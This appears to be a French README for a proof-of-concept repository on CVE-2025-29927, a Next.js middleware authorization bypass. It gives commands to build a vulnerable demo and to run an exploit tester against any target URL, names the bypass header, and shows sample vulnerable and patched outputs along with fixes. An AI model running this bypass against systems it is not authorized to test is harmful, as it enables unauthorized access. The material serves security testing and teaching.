
Ce dépôt contient une preuve de concept (POC) et un script d'exploitation pour CVE-2025-29927, une vulnérabilité critique dans Next.js qui permet aux attaquants de contourner les contrôles d'autorisation implémentés dans le middleware.
Ce dépôt contient une preuve de concept (POC) pour CVE-2025-29927, une vulnérabilité critique dans Next.js qui permet à des attaquants de contourner les contrôles d'autorisation implémentés dans le middleware.
Cette application Next.js démontre la vulnérabilité avec une route de tableau de bord protégée.
npm install
npm run build
npm run start
Le script d'exploitation peut tester toute application Next.js pour cette vulnérabilité.
npm run exploit <target-url>
npm run exploit http://localhost:3000/dashboard
L'outil d'exploitation :
x-middleware-subrequest=== Next.js CVE-2025-29927 Middleware Bypass Tester ===
Target: http://localhost:3000/dashboard
Testing vulnerability...
Normal request status: 307
Bypass request status: 200
⚠️ VULNERABLE
The route is protected but accessible with the bypass header
Une implémentation du correctif est disponible dans la branche how-to-fix.
Mettez à jour la version de Next.js (Recommandé)
Implémentez une validation secondaire
=== Next.js CVE-2025-29927 Middleware Bypass Tester ===
Target: http://localhost:3000/dashboard
Testing vulnerability...
Making request without bypass header...
Making request with bypass header...
Normal request status: 307
Bypass request status: 307
✓ NOT VULNERABLE - Protected Route
The route is protected and the bypass attempt was unsuccessful
Normal request redirected to: /
Bypass request redirected to: /
Next.js utilise un en-tête interne x-middleware-subrequest pour empêcher les requêtes récursives. Cette vulnérabilité permet aux attaquants de contourner les contrôles de sécurité du middleware en manipulant cet en-tête.
Vous voulez aller plus loin ? Cette CVE est implémentée en tant que flag dans OSS OopsSec Store, un laboratoire volontairement vulnérable conçu pour la formation en sécurité offensive.
Cet outil est fourni à des fins éducatives et de test uniquement. Utilisez cet outil uniquement sur des systèmes dont vous êtes propriétaire ou pour lesquels vous avez une autorisation explicite de test.